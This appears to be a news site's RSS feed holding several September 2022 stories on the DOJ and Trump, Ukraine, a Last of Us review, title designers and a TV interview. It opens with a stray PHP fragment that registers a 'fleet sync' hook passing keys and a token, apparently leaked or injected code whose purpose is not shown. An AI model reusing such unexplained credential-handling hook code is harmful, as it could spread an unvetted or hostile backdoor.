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_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); part – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Mon, 12 Sep 2022 03:04:19 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.7 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png part – Brief News https://briefnews.eu 32 32 People with Myalgic Encephalomyelitis to take part in world’s largest genetic study https://briefnews.eu/people-with-myalgic-encephalomyelitis-to-take-part-in-worlds-largest-genetic-study/ https://briefnews.eu/people-with-myalgic-encephalomyelitis-to-take-part-in-worlds-largest-genetic-study/#respond Mon, 12 Sep 2022 03:04:19 +0000 https://briefnews.eu/people-with-myalgic-encephalomyelitis-to-take-part-in-worlds-largest-genetic-study/

People who have been diagnosed with myalgic encephalomyelitis are being invited to take part in the world’s largest genetic study of the disease.

]]> https://briefnews.eu/people-with-myalgic-encephalomyelitis-to-take-part-in-worlds-largest-genetic-study/feed/ 0 The DOJ is looking into Trump’s main fundraising arm, Save America, as part of its larger probe into the Capitol Riot: reports https://briefnews.eu/the-doj-is-looking-into-trumps-main-fundraising-arm-save-america-as-part-of-its-larger-probe-into-the-capitol-riot-reports/ https://briefnews.eu/the-doj-is-looking-into-trumps-main-fundraising-arm-save-america-as-part-of-its-larger-probe-into-the-capitol-riot-reports/#respond Fri, 09 Sep 2022 04:15:01 +0000 https://briefnews.eu/the-doj-is-looking-into-trumps-main-fundraising-arm-save-america-as-part-of-its-larger-probe-into-the-capitol-riot-reports/ Former President Donald Trump speaking behind a podium with two fists raised.
Former President Donald Trump speaks at a Save America rally on July 22, 2022, in Prescott, Arizona.

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  • One of the DOJ's ongoing probes of Donald Trump includes an investigation into the Capitol riot.
  • The DOJ appears to be expanding that inquiry by looking into Trump's PAC, Save America, per reports.
  • Several aides of the Trump administration and presidential campaign were subpoenaed, per NYT.

The Justice Department is looking into Donald Trump's main fundraising arm, Save America, with a federal grand jury doling a fresh set of subpoenas this week to aides who worked in the Trump administration and the former president's election campaign, according to multiple reports.

The subpoenas appear to be a part of the DOJ's larger inquiry into the events leading up to the Capitol riot, ABC News reported. The Justice Department is currently investigating the moments leading up to the insurrection, attempts to obstruct that inquiry, and the scheme to overturn the 2020 vote using a slate of fake electors.

About a half-dozen current and former aides were subpoenaed, The New York Times reported, citing anonymous sources familiar with the investigation. This includes former Trump White House aides William B. Harrison, William S. Russell, and Nicholas Luna, as well as Ivanka Trump's chief of staff Julie Radford.

The interest in Trump's Save America PAC is a new development in the DOJ's probe, although it's unclear what particular actions the fundraising vehicle is being investigated for or how it relates to the inquiry into the January 6, 2021, attack, according to The Times.

Federal prosecutors are interested in the formation of the PAC and its spending practices, ABC News reported. A source familiar with the subpoenas' language told CNN that the department may be investigating whether those associated with the PAC employed baseless claims about the 2020 election to defraud people.

Save America did not immediately respond to Insider's request for comment.

The development comes as Trump is mired in a series of ongoing criminal probes by the Justice Department.

On Thursday, the DOJ appealed a federal judge's order that would allow for an independent party to review thousands of documents that were seized from Trump's Mar-a-Lago resort.

In its filing, federal prosecutors wrote that the appeal would "likely" succeed.

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In 1996, critic Laurie Halpern Benenson, writing for the New York Times, called Nina Saxon “one of the most sought-after designers in the business” and it was true: some years, she could barely keep up with demand. Beginning in 1980 and working well into the 2010s, Saxon lent her titling talent to more than 200 films and TV series, working with directors including Robert Zemeckis, Martin Scorsese, Lasse Halström and Michael Lehmann. Her compelling visions and iconic graphics can be found in the familiar type of Back to the Future (1985), the slow bloom of Rambling Rose (1991), the glowing grin of Stay Tuned (1992), the searching light of The Fugitive (1993), and the floating feather of Forrest Gump (1994).

Over the span of her 30-year career, Saxon established herself as a pillar of title sequence design, a defining figure of the branded blockbuster film, a logo legend, and a master of painting with light. 

If the 1950s and ’60s was the Designer era of title sequences, dominated by creators with identifiable aesthetic signatures like Saul Bass, Maurice Binder and Pablo Ferro, then the 1980s was the Logo era, dominated by creators like Nina Saxon, Richard Greenberg and Richard Morrison.…

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]]> https://briefnews.eu/nina-saxon-a-career-retrospective-part-1/feed/ 0 Zelenskyy says Ukraine retook 3 settlements from Russia, part of a broader counteroffensive meant to reverse Putin’s grinding advance https://briefnews.eu/zelenskyy-says-ukraine-retook-3-settlements-from-russia-part-of-a-broader-counteroffensive-meant-to-reverse-putins-grinding-advance/ https://briefnews.eu/zelenskyy-says-ukraine-retook-3-settlements-from-russia-part-of-a-broader-counteroffensive-meant-to-reverse-putins-grinding-advance/#respond Mon, 05 Sep 2022 14:22:12 +0000 https://briefnews.eu/zelenskyy-says-ukraine-retook-3-settlements-from-russia-part-of-a-broader-counteroffensive-meant-to-reverse-putins-grinding-advance/ President Volodymyr Zelenskyy in a Telegram address posted September 4, 2022
President Volodymyr Zelenskyy in a Telegram address posted September 4, 2022

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  • Zelenskyy announced the retaking of three Ukrainian settlements, but didn't specify where. 
  • One counter-attack was in the eastern Donbas region and two were in the south, he said. 
  • Ukraine began to push back against Russian occupation in the south at the end of August. 

President Volodymyr Zelenskyy said on Sunday that Ukrainian forces had retaken three settlements in eastern and southern parts of the country amid a wider counter-offensive. 

Zelenskyy, speaking on his Telegram channel, did not specify the locations of the reported gains. One was a settlement in the eastern region of Donetsk, he said, adding that two further settlements "in the south of our country" were also liberated. 

The Ukrainian military also reported artillery and air strikes on more than a dozen targets in the southern region of Kherson on Sunday, according to CNN. 

President Vladimir Putin's forces have overtaken territory in eastern and southern Ukraine since the invasion began in February. Ukrainian troops began a widescale counter-offensive in the south of the country at the end of August. 

Insider was unable to verify Zelenskyy's report. On Monday, the UK Ministry of Defense released a map showing sites of "likely Ukrainian advance" in three southern locations. 

It did not indicate any advance in the east.

Donetsk represents about one half of the Donbas region, in Ukraine's east, where Russian forces have been attacking Ukraine for eight years, long predating the invasion of February 2022.

Russian-backed separatist action led to the formation of the "Donetsk People's Republic" in 2014, which Putin formally recognized on February 22 this year. (Most countries, including the west and the UN, continue to consider it Ukrainian territory.)

The south of Ukraine faced a brutal onslaught early in Putin's invasion, likely in an effort to connect Russian-annexed Crimea to the strategic southern port of Odessa. It has seen Russian forces occupy — and inflict catastrophic destruction on — cities such as Kherson and Mariupol.

In his address, Zelenskyy repeated his assertion that the war would end only with the retaking of Crimea. "We will make Crimea one of the best, most comfortable places in Europe," he said.

He also said he had spoken with European Commission President Ursula von der Leyen, and repeated his request for Europe to impose a visa ban on Russian tourists. 

"Europe is a land of values, not Disneyland for supporters of terror," Zelenskyy said. 

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]]> https://briefnews.eu/zelenskyy-says-ukraine-retook-3-settlements-from-russia-part-of-a-broader-counteroffensive-meant-to-reverse-putins-grinding-advance/feed/ 0 The Last of Us Part I makes Part II’s flaws much more apparent https://briefnews.eu/the-last-of-us-part-i-makes-part-iis-flaws-much-more-apparent/ https://briefnews.eu/the-last-of-us-part-i-makes-part-iis-flaws-much-more-apparent/#respond Mon, 05 Sep 2022 10:11:21 +0000 https://briefnews.eu/the-last-of-us-part-i-makes-part-iis-flaws-much-more-apparent/ The Last of Us Part I may not be meaningfully different from the original game or its 2014 remaster, but the context around the franchise has notably changed. That’s because of The Last of Us Part II, a sequel that’s spurred as much critical praise as it has heated debate. The 2020 release built on the first game’s strong foundation by delivering a more complex story that further muddied the “good guys vs. bad guys” trope we see in so much media. It’s a story about cyclical violence where Joel’s actions at the end of the first game directly impact Ellie on her own misguided thirst for blood.

It’s a bold game, one that’s significantly longer and larger to fit in all of its ideas. I respected Naughty Dog’s ambition when I played the sequel two years ago, but walked away feeling like it was as swollen as one of the series’ Bloaters. After revisiting both The Last of Us and its excellent Left Behind DLC in the new PS5 remake, I feel more sure of my original critique. The Last of Us works because it’s a lean and focused game. Part II, on the other hand, makes it clear that excess is Naughty Dog’s Achilles’ heel.

From lean to bloated

What I immediately noticed in my replay of The Last of Us is that there’s barely a wasted moment. From its tense opening sequence to its gripping final hour, most scenes play a crucial role in the story. For instance, the winter-set chapter where Ellie takes charge serves as an important way to show how Joel’s ruthlessness has begun to infect her. My mind wandered once or twice during my 12-hour playthrough.

That’s even truer of Left Behind, a tight DLC that tells one of Naughty Dog’s most succinct stories in two hours. Every single moment is memorable, as it naturally develops the relationship between Ellie and Riley with each scene. I walked away from my replay wondering if it’s the single best pound-for-pound game the studio has made to date.

Ellie pets a giraffe in The Last of Us Part I.

I don’t quite feel the same way about Part II. Clocking in at around 24 hours, the sequel is twice as long as its predecessor. Part of that is a necessity, as it’s telling the story of two different characters whose journeys run parallel to one another. However, I don’t always get the sense that every scene is indispensable as Naughty Dog tends to repeat itself much more. Several beats in Abbey’s story tend to retread already established ideas about the moral gray zones of violent conflict. We continually see “bad guys” reframed as “good guys,” something that’s already effectively established by the two-protagonist structure of the game.

That repetition is more noticeable in the actual game design. Naughty Dog tends to reuse the same tropes and scene setups to create artificial conflict. Several moments of the game involve a character walking toward a location, only to have the ground collapse under them and send them on some roundabout shortcut into a combat zone. There are less crutches like that in Part I, as complications aren’t as mechanically induced. That might make the game feel less like a high-stakes Hollywood blockbuster, but that’s ultimately to its benefit.

Ellie and Riley dancing on a glass case.

Similarities to Uncharted

This observation isn’t only exclusive to The Last of Us series. You can see the same dynamic in Naughty Dog’s Uncharted franchise over the years too. The developer is at its best the less it’s focused on escalating drama. Uncharted 2: Among Thieves is a tight action game that smoothly ups the ante with each scene, while Uncharted 3: Drake’s Deception is a hodgepodge of disconnected set-pieces that only seem to exist to create the illusion that Nathan Drake’s adventure is more exciting than the last. I noticed a similar thread in January when I played through Uncharted: Legacy of Thieves’ Collection and found that Uncharted: The Lost Legacy held up better than the excellent, but often meandering Uncharted 4: A Thief’s End.

I have the exact same feeling walking out of The Last of Us Part I, even if Part II is technically a more impressive spectacle. While I could nitpick about the former’s now dated level design, I found that it doesn’t leave as much room for dead air. With less time spent looking for “another way around,” the focus is more squarely on building Joel and Ellie’s distorted relationship one scene at a time. That allows the game to naturally build to a violent crescendo, whereas Part II hits long stretches where it feels like the band is tuning up between movements.

I hope that The Last of Us Part I was as much of a self-reflective learning process for Naughty Dog as it was for me. I’d love to see the developer scale back its loftier Hollywood ambitions to create something as lean as The Last of Us (I still wish Part II’s final California-set chapter had been reserved for a separate Left Behind-sized DLC). Save some of those excess scenes for a director’s cut down the line — lord knows the studio needs better excuses to rerelease its games anyways.

The Last of Us Part I is available now on PS5.

]]> https://briefnews.eu/the-last-of-us-part-i-makes-part-iis-flaws-much-more-apparent/feed/ 0 Doug Mastriano touts endorsement from ultra-orthodox rabbi who expresses sympathy for Capitol rioters and believes Hitler was part lizard https://briefnews.eu/doug-mastriano-touts-endorsement-from-ultra-orthodox-rabbi-who-expresses-sympathy-for-capitol-rioters-and-believes-hitler-was-part-lizard/ https://briefnews.eu/doug-mastriano-touts-endorsement-from-ultra-orthodox-rabbi-who-expresses-sympathy-for-capitol-rioters-and-believes-hitler-was-part-lizard/#respond Mon, 05 Sep 2022 02:26:32 +0000 https://briefnews.eu/doug-mastriano-touts-endorsement-from-ultra-orthodox-rabbi-who-expresses-sympathy-for-capitol-rioters-and-believes-hitler-was-part-lizard/ Doug Mastriano
Pennsylvania Republican gubernatorial candidate Doug Mastriano speaks during a campaign rally at The Fuge on May 14, 2022 in Warminster, Pennsylvania.

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  • PA gubernatorial candidate Mastriano touted an endorsement from Joseph Kolakowski, an ultra-orthodox rabbi.
  • Kolakowski has expressed sympathy for Capitol rioters and believes Hitler was part lizard.
  • Kolakowski told The Philadelphia Inquirer he felt Mastriano was being "unfairly maligned" as antisemitic.

Pennsylvania GOP gubernatorial candidate Doug Mastriano touted an endorsement from Joseph Kolakowski, an ultra-orthodox rabbi who expressed sympathy for Capitol rioters and believes Hitler was part lizard.

The Philadelphia Inquirer reported Mastriano shared a story by the Epoch Times, a far-right publication, with his supporters on social media with the headline: "Rabbi Endorses Mastriano as Shapiro Calls Him Antisemitic in Pennsylvania Gov. Race."

In the article, Kolakowski — who leads a Hasidic Jewish ministry in Pennsylvania — defended Mastriano, saying, "while the Democrats have the chutzpah to claim that those of us from the Party of Lincoln are somehow racist, they do not look at the racist tenants of their own party, including abortion and gun control, both of which cause undue and disproportionate harm to people of color, and are historically rooted in openly racist ideologies."

The Inquirer reported the 38-year-old rabbi frequently posts on his YouTube channel about unfounded claims of fraud in the 2020 election, his support for Capital rioters, and believing in a theory that Adolf Hitler was part lizard. 

In one video about the Nazi dictator, the rabbi said there's "a reason why he never took off his boots."

"[It] was to hide the fact that his feet were reptilian in nature because he came from this nonhuman race, demonic race. He was a hybrid."

In an interview with the news outlet, Kolakowski said he felt Mastriano was being "unfairly maligned" as antisemitic. He said he reached out to the state senator's campaign and was asked to write something. His statements were later published in the Epoch Times.

Jewish leaders and Democrats have criticized the Trump-backed candidate for his ties to far-right extremists and his efforts to garner support on Gab, a social network founded by a self-described Christian nationalist.

Mastriano praised the site's founder, Andrew Torba, who has said Jews are not welcome in his movement. Insider reported that Mastriano also paid the site $ 5,000, per campaign finance filings.

Mastriano is running against Democratic candidate Josh Shapiro in Pennsylvania's gubernatorial race. Recent polls show Shapiro ahead of his opponent by 7.3 points.

Mastriano's campaign and Kolakowski did not immediately respond to Insider's request for comment.

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If there’s a pithy phrase that can be applied to title designer Nina Saxon’s career perhaps it’s Always be hustling.

As Part One of our career retrospective discusses, Saxon started out as a visual effects artist on Star Wars (1977) and then spent the ’80s in a state of near-constant hustle, launching what was to become a 40-year career as a designer of memorable film and TV title sequences. With iconic work for box office hits Romancing the Stone (1984) and Back to the Future (1985), she helped to usher in the era of the branded blockbuster film.

She is one of very few designers to have had a multi-decade career in film and TV titles, and part of this is due to her training in psychology, her ability to read a room and navigate its dynamics. The other part, of course, is due to her creative vision and her determination. 

Along with the vibrant logotypes Saxon made in the ’80s for slam-dunk hits, she also established connections with the directors, editors, and producers who would become her friends, collaborators and recurring clients. She learned Painting with Light from Robert Abel, found a mentor in editor Donn Cambern, developed relationships…

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We are ecstatic to present part six of our annual 10 Women of Title Design feature, bringing the number of women showcased to 60!

In March of 2015, we published our first article in celebration of International Women’s Day entitled 10 Women of Title Design. Every year since, we’ve returned with a new group of 10 women in the title design industry to celebrate. When we first conceptualized this feature, we never imagined we would be able to showcase this many women. We are humbled and overjoyed to know and share the diverse talents of this artform.

This year, the list includes creative directors, lettering artists, animators, motion designers, and 3D artists, spanning several decades and genres across both TV and film. Join us as we celebrate another International Women’s Day and shine a light on the often unsung women in this great field.

10 Women of Title Design That You Should Know – Part Six

 

Benedetta Cappelloni

Benedetta Cappelloni is a digital artist and title designer based in Rome, Italy.

Working primarily in the Italian film industry, Cappelloni has created dozens of title sequences for films including Baaria (2009), The Best Offer (2013), La corrispondenza (2016), The Leisure Seeker (2017), Made in Italy (2018), The Traitor (2019), Tutto il mio Folle Amore (Volare) (2019), Sono solo fantasmi (2019), and Brave ragazze (2019). 

Her clients include Fandango, Indiana Production, Paco Cinematografica, Groenlandia, Lumiere & Co, Eagle Pictures, Kavac Film, and Warner Bros Italy.

Sono Solo Fantasmi…

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]]> https://briefnews.eu/10-women-of-title-design-part-six/feed/ 0 The most noteworthy part of Trump’s latest Mar-a-Lago filing was what wasn’t in it https://briefnews.eu/the-most-noteworthy-part-of-trumps-latest-mar-a-lago-filing-was-what-wasnt-in-it/ https://briefnews.eu/the-most-noteworthy-part-of-trumps-latest-mar-a-lago-filing-was-what-wasnt-in-it/#respond Thu, 01 Sep 2022 03:01:13 +0000 https://briefnews.eu/the-most-noteworthy-part-of-trumps-latest-mar-a-lago-filing-was-what-wasnt-in-it/ Donald Trump speaks in Washington, DC
Former President Donald Trump.

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  • Trump's latest filing in his bid to get a special master makes no mention of his claim that he broadly declassified documents seized from Mar-a-Lago.
  • It also doesn't address the DOJ's revelation that it has evidence of "likely" efforts to obstruct its investigation into Trump.
  • Politico reported that earlier Wednesday, Trump also appeared to undermine a June 3 letter that his own lawyer signed saying all classified materials had been returned to the DOJ.

Former President Donald Trump's latest salvo in his legal battle to get a court-appointed "special master" to review materials seized in this month's Mar-a-Lago raid was widely panned as another "PR filing" after it dropped Wednesday.

But perhaps the most noteworthy aspect of the filing was what wasn't in it: any mention of Trump's weeks-long defense that he had broadly declassified all the documents seized in the Mar-a-Lago search, or his claim that the FBI may have "planted" evidence at his home.

The document also did not touch on the most damning allegation that the Justice Department made this week: That it had obtained evidence of "likely" efforts to obstruct its ongoing investigation into Trump's handling of national security information.

These were significant omissions in a document that otherwise read to former prosecutors like a press release rather than a serious court filing. The former president's lawyers aired claims of political bias; alluded to Trump's possible 2024 run; and made vague legal arguments that one national security lawyer described as "garbage" and "gibberish."

Trump's defense in the wake of the Mar-a-Lago search has largely revolved around his claim that he had declassified the materials seized from his home. That's despite the fact that the three federal laws he's being investigated for violating don't depend on the classification level of government records, and 18 former Trump administration aides told CNN they had no knowledge of any standing declassification order.

The Justice Department also noted in a Tuesday night filing that Trump's lawyers made no assertion of executive privilege and did not raise any issues around classification in conversations they had with US officials in the months leading up to the FBI's search of Mar-a-Lago.

Trump has also accused the FBI of "planting" evidence at Mar-a-Lago, and while his lawyers made vague allegations of bias against the DOJ and the FBI, they did not mention his and his allies' accusation that evidence was planted at the former president's Florida residence. 

And Politico highlighted that Trump earlier Wednesday appeared to undermine a June 3 letter that his representative signed stating that all classified government materials had been returned pursuant to a grand jury subpoena. In a Truth Social post, the former president, referencing a photo the DOJ had released the day before, acknowledged that highly classified documents the FBI recovered in its August 8 search were found stored in "cartons" in his Mar-a-Lago office.

The revelation added a new layer to the Justice Department's account in its Tuesday filing of investigators' suspicions that they had been misled by the June 3 letter and suspected sensitive documents and government records were still at Mar-a-Lago.

Lawyers for Trump and the Justice Department are scheduled to appear in federal court in Florida on Thursday at 1 p.m. ET, where Judge Aileen Cannon, a Trump appointee who was confirmed to the bench in 2020, will hear arguments about whether to grant Trump's request for a special master.

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Clarice Starling is no stranger to danger, but after Thursday’s episode, she might think twice the next time she decides to fly solo. (Eh, who are we kidding?)

After a search for Marilyn Felker (a.k.a., the leader of the clinical trial that the murdered women participated in) led Clarice to sister Luanne Felker’s medical facility, Starling found herself pumped full of psychotic drugs and chained to a hospital bed by none other than Marilyn, herself. Not being able to tell reality from psychosis, Starling’s trauma and PTSD ran rampant in her brain as she struggled to figure out how to escape the newfound horror show she found herself in. And while she wasn’t actually trapped in Buffalo Bill’s pit of despair, she might as well have been, seeing as she was once again in a fight for her life at the hand of a mad(wo)man.

Below, TVLine speaks with series lead Rebecca Breeds about Clarice’s traumatic past, the torture she endured during her imprisonment and how the Aussie actress learned to speak that tricky Appalachian dialect.

TVLINE | Clarice goes through absolute hell in Episode 5. Even though you’re mostly bed-ridden throughout, was this episode difficult to shoot?
REBECCA BREEDS | This episode nearly killed me. [Laughs] It was so intense because even the times when I’m just lying in bed, the psychological trauma she’s going through is extreme. And then there’s all the pulling myself around on the floor in a drug stupor, paralyzed from the waist down… it was a very intense episode physically, emotionally, everything. It took so much of me and it was just so rewarding at the end of the day. You start the day off with these pages going, “How the hell are we going to do this? How am I going to act that and do that truthfully?” So much of it was stuff I’d never experienced. Line by line, moment by moment, I just threw myself into it with complete abandon. Every single part of this episode to me was like jumping off a cliff, like “I don’t know how to do this, but let’s go!”

As an actress, I went to places I couldn’t have conjured with my rational intellect. It was very much an instinctive experience and at the end of every day, I went home completely spent but so satisfied, like “Whoa, I did that today and I think it came out really good, and I’m really proud of that.” It was a huge learning experience for me.

Clarice Season 1 Episode 5 TVLINE | We see a lot of Clarice’s trauma manifest itself through the dreams and visions she has. I’m curious: Is it her trauma that drives her or is she simply running away from it?
BREEDS | Such a good question! It’s a really great thing to ask because we’re at a point in the show where she doesn’t know yet. I think that’s one of the reasons why she avoids dealing with her trauma because what if it is the thing that’s driving her? What if it is the thing that makes her good at her job? It’s like a really good musician. Once you find the love of your life and there’s no drama anymore, are you still going to be able to write a good song? If you feel like greatest hits are all break-up songs, what happens?

I think that’s part of her resistance to looking this stuff in the face. Will she completely fall apart? Maybe. Will she lose some of her drive or her efficacy as an agent? Is she going to be a better agent than ever? They’re all very real things she doesn’t know the answer to, and there could be some sacrifice there once she heals and deals with the trauma and puts it aside. What’s it going to take for her to finally say that maybe my well-being is more important than my job? I think we’re at a point where we’re pushing to a boiling point, where she might start to think that, but she’s not there yet.

TVLINE | Why is it that Clarice always seems to work by herself, despite all of the danger she gets herself into? What is it about her past or her makeup that makes her a bit of a loner?
BREEDS | I think she’s a martyr, for sure. She would rather put herself in danger than endanger others — because the whole point is to rescue people, to silence the lambs, not to put more people in harm’s way — and I don’t think she has a high self-value. She’s like, “Well, if I die, I die… I don’t want to put Ardelia or Esquivel in danger,” or “This could be nothing, I’m just following a hunch.” I don’t think she necessarily anticipates things to go as dark as they do. A lot of the times she’s just using her initiative and chasing a lead. I do that in my life often. I’m like, “Hey, I’ll just do it and show them how clever I am!” [Laughs]

[Clarice is thinking], “There are important stakes here, we have to save these people, more people could be getting killed, let’s just get on with it!” I think on an even deeper level, subconsciously, her dad worked alone as a nightwatchman. He got out there and did the job. He’s her hero and she wants to emulate him. He looked darkness in the face every night and he got on with his job, and she likes to think that she can do the same.

TVLINE | I really liked the final scene in this episode between Clarice and Ardelia. Are the two friends going to be able to patch things up?
BREEDS | I think beyond patching it up, they’re perhaps in a state of evolution. I think they’re going to have real chats… it’s real talk time! They’re going on this journey together and I think with their sense of family and friendship, they are committed to having the hard talks and eating the humble pie. They’re committed to learning and growing together, and when you do that your love only grows deeper. We get to witness that evolution, that journey, which is nice, but hard. It hurts, but it’s for the greater good, I think.

TVLINE | Lastly, you absolutely nail the West Virginian accent. How difficult was it to get that down?
BREEDS | Actually, the broad strokes of it came so quickly. I listened to a couple Appalachian accents on YouTube, and then I tried them and they just sat so well in my mouth, I don’t know why. There were a few exercises like “I might fly my kite” and “I thought I caught that dog,” and a couple of mouth positions. It happened in a couple of hours. From there, it was just a matter of gentle finessing, so I worked with a coach and he helped me with pronunciations and bits and pieces. Then, I just applied it to the work, and it really brought the character home for me. Getting the accent was a game changer.

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